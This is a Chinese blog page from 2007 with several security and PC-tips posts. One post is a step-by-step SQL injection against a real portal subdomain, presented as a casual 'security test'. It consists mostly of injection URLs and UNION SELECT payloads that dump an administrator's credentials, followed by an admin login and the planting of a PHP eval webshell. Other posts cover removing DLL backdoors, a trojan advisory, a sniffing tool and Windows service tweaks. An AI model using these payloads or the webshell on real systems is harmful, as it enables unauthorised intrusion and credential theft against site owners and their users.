浏览模式: 普通 | 列表
电脑很容易感染病毒,手机也一样,随着支持蓝牙的手机越来越多,有必要提醒广大蓝牙手机用户注意预防手机中毒。


“当机”、“终止应用程序”、“衍生变种家族”、“无线入侵”、“伪装免费软件”甚至“窃取资讯”,这些电脑病毒常见的破坏手法,现在手机病毒也跟着模仿,入侵手机用户。最近的一份报告指出,手机病毒可能造成文件、电话簿、信息、相片以及电话本身的操作功能丧失。


但总体看来,手机病毒虽然开始模仿电脑病毒,但是主动散播力较弱。不随便使用蓝牙接收来路不明的短信,一般来说,不容易感染。这里就给大家提七个建议,预防手机病毒跟着走:


●接收蓝牙传送文件要特别谨慎,以免收到病毒文件。


●不慎中毒暂时关闭手机上的蓝牙接收功能,以免继续搜寻感染目标。


●收到来路不明的短信,不要打开直接删除。


●对于来路不明的手机程序不要任意安装。


●下载手机铃声、手机游戏,请至合法官方网站。


●若不慎中毒请立即删除病毒应用程序,并重新安装受感染的应用程序。


●安装专门的手机防毒软件。

推荐日志 对sohu.com的一次安全检测

[ 2007-03-25 02:36:07 | 作者: sun ]
sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。
看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86

提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
返回正常如图1。
然后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。
通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在mysql里就是死路了,好郁闷!
既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。

既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
返回结果正常如图4,看来字段是大于10个的,继续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常返回,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!
既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:

admin site:sohu.com

如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin/admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了吧!继续注入吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回空信息的错误,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了,在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能,于是在里面插入了一句话的php后门<? eval($_POST[a])?>,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!
在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样的大站,参数更多,更加要注意过滤方面的问题哦!欢迎大家到论坛讨论,我的ID是剑心

推荐日志 DLL后门完全清除

[ 2007-03-25 02:35:49 | 作者: sun ]
前言
后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的"大力支持",使传统的后门无法在隐藏自己,任何稍微有点计算机知识的人,都知道"查端口""看进程",以便发现一些"蛛丝马迹"。所以,后门的编写者及时调整了思路,把目光放到了动态链接程序库上,也就是说,把后门做成DLL文件,然后由某一个EXE做为载体,或者使用Rundll32.exe来启动,这样就不会有进程,不开端口等特点,也就实现了进程、端口的隐藏。本文以"DLL的原理""DLL的清除""DLL的防范"为主题,并展开论述,旨在能让大家对DLL后门"快速上手",不在恐惧DLL后门。好了,进入我们的主题。


一,DLL的原理
1,动态链接程序库
动态链接程序库,全称:Dynamic Link Library,简称:DLL,作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,需要跟其进行"动态链接";从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。由此可见,DLL文件本身并不可以运行,需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中,这就说明了:DLL文件无法删除。这是由于Windows内部机制造成的:正在运行的程序不能关闭。所以,DLL后门由此而生!2,DLL后门原理及特点
把一个实现了后门功能的代码写成一个DLL文件,然后插入到一个EXE文件当中,使其可以执行,这样就不需要占用进程,也就没有相对应的PID号,也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大,但必须使用程序(EXE)调用才能执行DLL文件。DLL文件的执行,需要EXE文件加载,但EXE想要加载DLL文件,需要知道一个DLL文件的入口函数(既DLL文件的导出函数),所以,根据DLL文件的编写标准:EXE必须执行DLL文件中的DLLMain()作为加载的条件(如同EXE的mian())。做DLL后门基本分为两种:1)把所有功能都在DLL文件中实现;2)把DLL做成一个启动文件,在需要的时候启动一个普通的EXE后门。

常见的编写方法:
(1),只有一个DLL文件

这类后门很简单,只把自己做成一个DLL文件,在注册表Run键值或其他可以被系统自动加载的地方,使用Rundll32.exe来自动启动。Rundll32.exe是什么?顾名思意,"执行32位的DLL文件"。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe,不必惊慌,这证明用Rundll32.exe启动了多少个的DLL文件。当然,这些Rundll32.exe执行的DLL文件是什么,我们都可以从系统自动加载的地方找到。

现在,我来介绍一下Rundll32.exe这个文件,意思上边已经说过,功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件,他的意思是"执行16位的DLL文件",这里要注意一下。在来看看Rundll32.exe使用的函数原型:
Void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hinst,
LPTSTR lpCmdLine,
Int nCmdShow
);

其命令行下的使用方法为:Rundll32.exe DLLname,Functionname [Arguments]
DLLname为需要执行的DLL文件名;Functionname为前边需要执行的DLL文件的具体引出函数;[Arguments]为引出函数的具体参数。

(2),替换系统中的DLL文件
这类后门就比上边的先进了一些,它把实现了后门功能的代码做成一个和系统匹配的DLL文件,并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时, DLL后门就启一个转发的作用,把"参数"传递给原来的DLL文件;如果遇到特殊的请求时(比如客户端),DLL后门就开始,启动并运行了。对于这类后门,把所有操作都在DLL文件中实现最为安全,但需要的编程知识也非常多,也非常不容易编写。所以,这类后门一般都是把DLL文件做成一个"启动"文件,在遇到特殊的情况下(比如客户端的请求),就启动一个普通的EXE后门;在客户端结束连接之后,把EXE后门停止,然后DLL文件进入"休息"状态,在下次客户端连接之前,都不会启动。但随着微软的"数字签名"和"文件恢复"的功能出台,这种后门已经逐步衰落。

提示:
在WINNT\system32目录下,有一个dllcache文件夹,里边存放着众多DLL文件(也包括一些重要的EXE文件),在DLL文件被非法修改之后,系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件,首先应该把dllcache目录下的同名DLL文件删除或更名,否则系统会自动恢复。

(3),动态嵌入式
这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中,每个进程都有自己的私有内存空间,但还是有种种方法来进入其进程的私有内存空间,来实现动态嵌入式。由于系统的关键进程是不能终止的,所以这类后门非常隐蔽,查杀也非常困难。常见的动态嵌入式有:"挂接API""全局钩子(HOOK)""远程线程"等。

远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体(或Rundll32.exe)在那个被插入的进程里创建了远程线程,并命令它执行某个DLL文件时,我们的DLL后门就挂上去执行了,这里不会产生新的进程,要想让DLL后门停止,只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接,那就不能终止了,如果你终止了系统进程,那Windows也随即被终止!!!

3,DLL后门的启动特性

启动DLL后门的载体EXE是不可缺少的,也是非常重要的,它被称为:Loader。如果没有Loader,那我们的DLL后门如何启动呢?因此,一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多,可以是为我们的DLL后门而专门编写的一个EXE文件;也可以是系统自带的Rundll32.exe,即使停止了Rundll32.exe,DLL后门的主体还是存在的。3721网络实名就是一个例子,虽然它并不是"真正"的后门。

二,DLL的清除
本节以三款比较有名的DLL后门例,分别为"SvchostDLL.dll""BITS.dll""QoServer.dll"。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后,能够举一反三,灵活运用,在不惧怕DLL后门。其实,手工清除DLL后门还是比较简单的,无非就是在注册表中做文章。具体怎么做,请看下文。

1,PortLess BackDoor
这是一款功能非常强大的DLL后门程序,除了可以获得Local System权限的Shell之外,还支持如"检测克隆帐户""安装终端服务"等一系列功能(具体可以参见程序帮助),适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动,平常不开端口,可以进行反向连接(最大的特点哦),对于有防火墙的主机来说,这个功能在好不过了。

在介绍清除方法之前,我们先来简单的介绍一下svchost.exe这个系统的关键服务:
Svchost只是做为服务的宿主,本身并不实现什么功能,如果需要使用Svchost来启动服务,则某个服务是以DLL形式实现的,该DLL的载体Loader指向svchost,所以,在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的,在需要启动服务的下边都有一个Parameters子键,其中的ServiceDll表明该服务由哪个DLL文件负责,并且这个DLL文件必须导出一个ServiceMain()函数,为处理服务任务提供支持。

呵呵!看了上边的理论,是不是有点蒙(我都快睡着了),别着急,我们来看看具体的内容(如图1)。从图1中,我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键,其键值为%SystemRoot%\system32\rpcss.dll。这就说明:启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。

在来看看图2,这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,里边存放着Svchost启动的组和组内的各个服务,其中netsvcs组的服务最多。要使用Svchost启动某个服务,则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现:
1, 添加一个新的组,在组里添加服务名
2, 在现有组里添加服务名
3, 直接使用现有组里的一个服务名,但是本机没有安装的服务
4, 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门

我测试的PortLess BackDoor使用的第三种方法。
好了,我想大家看完了上边的原理,一定可以想到我们清除PortLess BackDoor的方法了,对,就是在注册表的Svchost键下做文章。好,我们现在开始。

注:由于本文只是介绍清除方法,使用方法在此略过。

后门的Loader把SvchostDLL.dll插入Svchost进程当中,所以,我们先打开Windows优化大师中的Windows进程管理2.5,查看Svchost进程中的模块信息(如图3),从图3中我们可以看到,SvchostDLL.dll已经插入到Svchost进程中了,在根据"直接使用现有组里的一个服务名,但是本机没有安装的服务"的提示,我们可以断定,在"管理工具"—"服务"中会有一项新的服务。图4证明了我的说法,此服务名称为:IPRIP,由Svchost启动,-k netsvcs表示此服务包含在netsvcs服务组中。

我们把该服务停掉,然后打开注册表编辑器(开始—运行--regedit),来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下,查看其Parameters子键(如图5)。Program键的键值SvcHostDLL.exe为后门的Loader;ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件,这正是后门的DLL文件。现在我们删除IPRIP子键(或者用SC来删除),然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下,编辑netsvcs服务组,把49 00 70 00 72 00 69 00 70 00 00 00删除,这里对应的就是IPRIP的服务名,具体如图6所示。然后退出,重启。重启之后删除WINNT\system32目录下的后门文件即可。

2,BITS.dll
这是榕哥的作品,也是DLL后门,和SvchostDLL.dll原理基本一样,不过这里使用的是上边介绍的第四种方法,即"修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门"。换句话说,该后门修改现有的某一个服务,把其原有服务的DLL指向自己(也就是BITS.dll),这样就达到了自动加载的目的;其次,该后门没有自己的Loader,而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看,从图7中,我们可以看到bits.dll已经插入到Svchost进程当中。

好,现在我们来看看具体的清除方法,由于该后门是修改现有服务,而我们并不知道具体是修改了哪个服务,所以,在注册表中搜索bits.dll,最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll,查看Parameters子键下的ServiceDll,其键值为C:\WINNT\system32\bits.dll(如图8)。原来,该后门把RasAuto服务原来的DLL文件替换为bits.dll了,这样来实现自动加载。知道了原因就好办了,现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件,即%SystemRoot%\System32\rasauto.dll,退出,重启。之后删除WINNT\system32目录下的bits.dll即可。

3,NOIR--QUEEN
NOIR--QUEEN(守护者)是一个DLL后门&木马程序,服务端以DLL文件的形式插入到系统的Lsass.exe进程里,由于Lsass.exe是系统的关键进程,所以不能终止。在来介绍清除方法之前,我先介绍一下Lsass.exe进程:
这是一个本地的安全授权服务,并且它会为使用Winlogon服务的授权用户生成一个进程,如果授权是成功的,Lsass就会产生用户的进入令牌,令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。
从上边的介绍我们就可以看出Lsass对系统的重要性,那具体怎么清除呢?请看下文。
后门在安装成功后,会在服务中添加一个名为QoSserver的服务,并把QoSserver.dll后门文件插入到Lsass进程当中,使其可以隐藏进程并自动启动(如图9)。现在我们打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver,直接删除QoSserver键,然后重启。重启之后,我们在来到服务列表中,会看到QoSserver服务还在,但没有启动,类别是自动,我们把他修改为"已禁用";然后往上看,会发现一个服务名为AppCPI的服务,其可执行程序指向QoSserver.exe(原因后边我会说到),具体如图11所示。我们再次打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI,删除AppCPI键,重启,再删除QoSserver,最后删除WINNT\system32目录下的后门文件。

本人和这个后门"搏斗"了3个多小时,重启N次。原因在于即使删除了QoSserver服务,后门还是在运行,而且服务列表中的QoSserver服务又"死灰复燃"。后来才知道原因:在我删除了QoSserver服务并重启之后,插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务,并且生成了另外一个服务,即AppCPI,所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出,现在的后门的保护措施,真是一环扣环。

注意:在删除QoSserver服务并重启之后,恢复的QoSserver的启动类别要修改为"已禁用",否则即便删除了AppCPI服务,QoSserver服务又运行了。

三,DLL的防范
看了上边的例子,我想大家对清除DLL后门的方法有了一定的了解,但在现实中,DLL后门并不会使用默认的文件名,所以你也就不能肯定是否中了DLL后门。对于DLL后门,system32目录下是个好地方,大多数后门也是如此,所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门,希望对大家有所帮助。

1,安装好系统和所有的应用程序之后,备份system32目录下的EXE和DLL文件:打开CMD,来到WINNT\system32目录下,执行:dir *.exe>exe.txt & dir *.dll>dll.txt,这样,就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中;日后,如发现异常,可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt),并使用:fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt,其意思为使用FC命令比较两次的EXE文件和DLL文件,并将比较结果保存到exedll.txt文件中。通过这种方法,我们就可以发现多出来的EXE和DLL文件,并通过文件大小,创建时间来判断是否是DLL后门。

2,使用内存/模块工具来查看进程调用的DLL文件,比如Windows优化大师中的Windows 进程管理 2.5。这样,可以发现进程到底调用了什么DLL文件,在结合上边用FC命令比较出来的结果,又能进一步来确定是否中了DLL后门。如果没有优化大师,可以使用TaskList,这个小工具也可以显示进程调用的DLL文件,而且还有源代码,方便修改。

3,普通后门连接需要打开特定的端口,DLL后门也不例外,不管它怎么隐藏,连接的时候都需要打开端口。我们可以用netstat -an来查看所有TCP/UDP端口的连接,以发现非法连接。大家平时要对自己打开的端口心中有数,并对netstat -an中的state属性有所了解。当然,也可以使用Fport来显示端口对应的进程,这样,系统有什么不明的连接和端口,都可以尽收眼底。

4,定期检查系统自动加载的地方,比如:注册表,Winstart.bat,Autoexec.bat,win.ini,system.ini,wininit.ini,Autorun.inf,Config.sys等。其次是对服务进行管理,对系统默认的服务要有所了解,在发现有问题的服务时,可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader,如果我们把DLL后门Loader删除了,试问?DLL后门还怎么运行?!

通过使用上边的方法,我想大多数DLL后门都可以"现形",如果我们平时多做一些备份,那对查找DLL后门会启到事半功倍的效果。

推荐日志 “落雪”木马疯狂盗号 下载江民专杀

[ 2007-03-25 02:35:17 | 作者: sun ]
近期,江民科技反病毒中心陆续接到网络游戏玩家报告,他们正在使用的网络游戏帐号莫名被盗,而且电脑中正在使用的杀毒软件也突然异常终止工作。据游戏玩家反映,多款品牌的杀毒软件都存在被异常终止的现象,而重新启动杀毒软件杀毒后,病毒仍然会出现,屡杀不绝。

接到用户举报后,江民反病毒中心立即对用户上报的可疑文件样本进行分析,经分析,导致网络游戏玩家帐号被盗的原因是电脑感染了一名为“落雪”的木马病毒。“落雪”木马可以盗取包括魔兽世界、传奇世界、征途、梦幻西游、边锋游戏在内的多款网络游戏的帐号和密码,对网络游戏玩家的游戏装备构成了极大的威胁。

“落雪”木马也叫“游戏大盗”( Trojan/PSW.GamePass),由VB 程序语言编写,通过 nSPack 3.1 加壳处理(即通常所说的“北斗壳”North Star),该木马文件图标一般是红色的图案,伪装成网络游戏的登陆器。

病毒运行后,在C盘program file以及windows目录下生成winlogon.exe、regedit.com等14个病毒文件,病毒文件之多比较少见,,事实上这14个不同文件名的病毒文件系同一种文件,“落雪”之名亦可能由此而来。病毒文件名被模拟成正常的系统工具名称,但是文件扩展名变成了 .com。江民反病毒工程师分析,这是病毒利用了Windows操作系统执行.com文件的优先级比EXE文件高的特性,这样,当用户调用系统配置文件Msconfig.exe的时候,一般习惯上输入 Msconfig,而这是执行的并不是微软的Msconfig.exe程序,而是病毒文件 Msconfig.com ,病毒作者的“良苦用心”由此可见。病毒另一狡诈之处还有,病毒还创建一名为winlogon.exe的进程,并把 winlogon.exe 的路径指向c:\windows\winlogon.exe,而正常的系统进程路径是C:\WINDOWS\system32\ winlogon.exe,以此达到迷惑用户的目的。

江民反病毒工程师介绍,除了在C盘下生成很多病毒文件外,病毒还修改注册表文件关联,每当用户点击html文件时,都会运行病毒。此外,病毒还在D盘下生成一个自动运行批处理文件,这样即使C盘目录下的病毒文件被清除,当用户打开D盘时,病毒仍然被激活运行。这也是许多用户反映病毒屡杀不绝的原因。

针对“落雪”病毒,江民杀毒软件KV系列产品已及时升级,用户只需升级病毒库到最新状态、开启病毒实时监控即可有效防杀该病毒,亦可使用江民未知病毒检测功能处理该病毒。没有安装杀毒软件的用户,也可以下载使用江民“落雪”木马专杀工具进行杀毒,以免遭“落雪”病毒侵害。

江民“落雪”病毒专杀工具下载地址:
http://www.jiangmin.com/download/TrojanKiller.rar

推荐日志 边听边唱 KuGoo MP3歌词也能同步传

[ 2007-03-25 02:34:55 | 作者: sun ]
现在几乎所有的MP3播放器都支持歌词同步功能,看着歌词随着音乐唱歌,简直就是在K歌房飙歌。可是每次更换新的歌曲都要手动向MP3播放器内拷贝歌词文件,真是麻烦。如果你也和我一样用KuGoo下载音乐,那么你有福了。
连接好MP3播放器后打开KuGoo主窗口,点击顶端工具栏的“歌词同步”标签按钮,切换到歌曲同步窗口(如图)。在这里会列出KuGoo的默认播放列表,选中想要向MP3播放器复制的歌曲名称并选中上面的“同步歌词”复选框,然后点击“开始同步”按钮就可以轻松把歌曲和歌词上传到你的MP3播放器了。



推荐日志 拨云见日见真相 揭开QQ运行缓慢之谜

[ 2007-03-25 02:34:39 | 作者: sun ]
QQ升级到2006后,运行速度越来越慢了,经过笔者研究发现这可能和杀毒软件有关。比如笔者用的是AntiVir,打开QQ时,杀毒软件的CPU占用率经常在50%以上。无奈为了使QQ运行流畅起来,对杀毒作了些设置。右击系统托盘的AntiVir图标,弹出菜单选择“Configure AntiVir”。在打开的设置窗口展开“Scanner→Scan→Exceptions(例外)”,在右侧窗格点击“...”按钮选择QQ程序,最后点击“Add”按钮,点击“确定”按钮退出设置窗口即可解决QQ运行缓慢的问题。

推荐日志 惊爆:普通人也能监听你MSN聊天

[ 2007-03-25 02:33:51 | 作者: sun ]
如果在安静的办公室突然谁大笑一声,你可一定要注意了,有可能就是他正在监听你们大家的MSN聊天对话,虽然这可能仅仅只是一个玩笑,但描述的事实却离我们越来越近。


在前不久的中国互联网里,一场关于隐私保护的讨论还没有结束,MSN等即时通信软件容易被老板监听的话题让人对网络聊天爱恨交加。而就在大家开始慢慢侥幸地认为老板不会偷看MSN聊天记录的同时,另一个巨大MSN安全陷阱却正在向用户袭来。一个网友报料,称最近这段时间一款叫“MSN Chat Monitor & Sniffer”的软件在中国互联网上悄然盛行,很多下载站点都提供有软件的下载,只要下载安装这个软件,任何一个普普通通的人就能在网上监听本地局域网内所有人的MSN聊天记录。


“原来想到只有公司老板或网管员才能干的事情,没想到现在所有人都能干了。以前也知道MSN可能被公司老板监听,但聊天中大不了不说老板坏话也就过去了,但现在真是人心惶惶,身边每一个人都有可能看我MSN聊天情况,现在都不知道在网上聊天还敢说什么,以后都不敢用MSN了。”一个知名企业的白领在了解普通人也能监听MSN聊天的情况后反映非常激烈。


事实上情况可能远远比这个白领想到的更为严重,普通人使用“MSN Chat Monitor & Sniffer”软件不仅可以轻松看到局域网内部所有使用MSN人的MSN地址,而且能窥视到其中的聊天内容,整个过程无需要网管的协助,也不需要在被监听的机器上装任何的东西,要窥视同事的MSN聊天,只需花几分钟在自己的机器里操 作便可,所有局域网内的MSN对话全部尽收眼底。现代社会,人人都几乎离不开局域网中,上班在公司的局域网中,同事可以监听你,下班在家里的小区宽带局域网,隔壁邻居可以监听你。你想想,这么多双眼睛盯着你屏幕中的MSN,你还有聊天的欲望吗?岂不说用MSN交流重要的信息,就连生活锁事一类都得谨慎了。说不定,以前你在MSN中对隔壁女孩发送暧昧的语言,在MSN中告诉亲友你的信用卡账号密码,在MSN中大说上司的坏话等等都可能已经被其它同事看得一清二楚。


业界一个资深的网络工程师告诉笔者,监听即时通信的软件越来越成熟了,操作也变得非常便捷,以前可能相对于普通人要监听别人聊天,还需要一些网络安全知识,而现在就应用软件几个简单的操作就能达到这个目的。同时这个网络工程师告诉笔者,即使在安全度较高的网络中,配合使用一个网关欺骗软件,也能够很方便地监听,特别是现在很多的小区宽带,几乎百分之百全部可以监听。


MSN之所以会出现这种信息不安全状况,实际上主要在于MSN软件消息传输方式的缺陷所致,由于MSN软件是采用明文传输的方式来传送即时消息的,而这种传输方式不会经过任何加密过程,非常容易被一些专门的监听软件截取即时消息,MSN Chat Monitor & Sniffer就是这些监听软件其中一种。


“MSN Chat Monitor & Sniffer”是国外开发的一款软件,在它的官方网站上有它详细的功能介绍,在功能说明称此软件不仅能实时在网络中监听,即使当你不在网络时,也可以设置自动监听并发送到你指定的邮箱里,在网站的帮助页面里,还列举了几种特殊网络结构不能使用的解决办法。此软件在网站上以标价59.95美元出售,不过国内已有好事之徒将其破解汉化制作成了免费中文版,而正是这个软件中文版的出现,才使其MSN监听迅速流行,直面冲击着我们的工作和生活。

如果MSN不在很短的时间解决这个问题,人天生存在的偷窥欲望可能会促使MSN大众偷窥时代的到来,偷窥的人越来越多,防止偷窥而放弃MSN也会不少,的或许有这么一天,监听的人超过超过使用MSN的人,那是一件多么有趣的事情啊。

推荐日志 winxp系统中可以被禁用的服务对照表

[ 2007-03-25 02:33:35 | 作者: sun ]
application layer gateway service

为internet连接共享和internet连接防火墙提供第三方协议插件的支持。如果你没启用internet连接共享或windows xp内置防火墙,可以禁止这个服务。


automatic up&#100;ates

自动从windows up&#100;ate启用windows更新的下载和安装。需要时,我们完全可以在windows up&#100;ate web网站手动进行更新。


clipbook

启用“剪贴板查看器”储存信息并与远程计算机共享。如果你没有使用windows xp的远程桌面功能,那么可以禁止该服务。


error reporting service

服务和应用程序在非标准环境下运行时允许错误报告。这个错误报告对大多数人来说是没用的,所以说我们可以禁止这项服务。


fast user switching compatibility

为在多用户下需要协助的应用程序提供管理。windows xp允许在一台电脑上进行多用户之间的快速切换,如果使用不到,完全可以禁止该服务。


imapi cd-burning com service

用imapi管理cd录制。如果你有专业的刻录软件,或者根本就没有刻录机的话,那么可以禁止该服务。


indexing service

本地和远程计算机上文件的索引内容和属性,提供文件快速访问。这项服务对个人用户没有多大用处,而启用后往往会占用很多cpu资源,所以禁止!


print spooler

将文件加载到内存中以便迟后打印。如果你没装打印机,完全可以禁用这个服务。


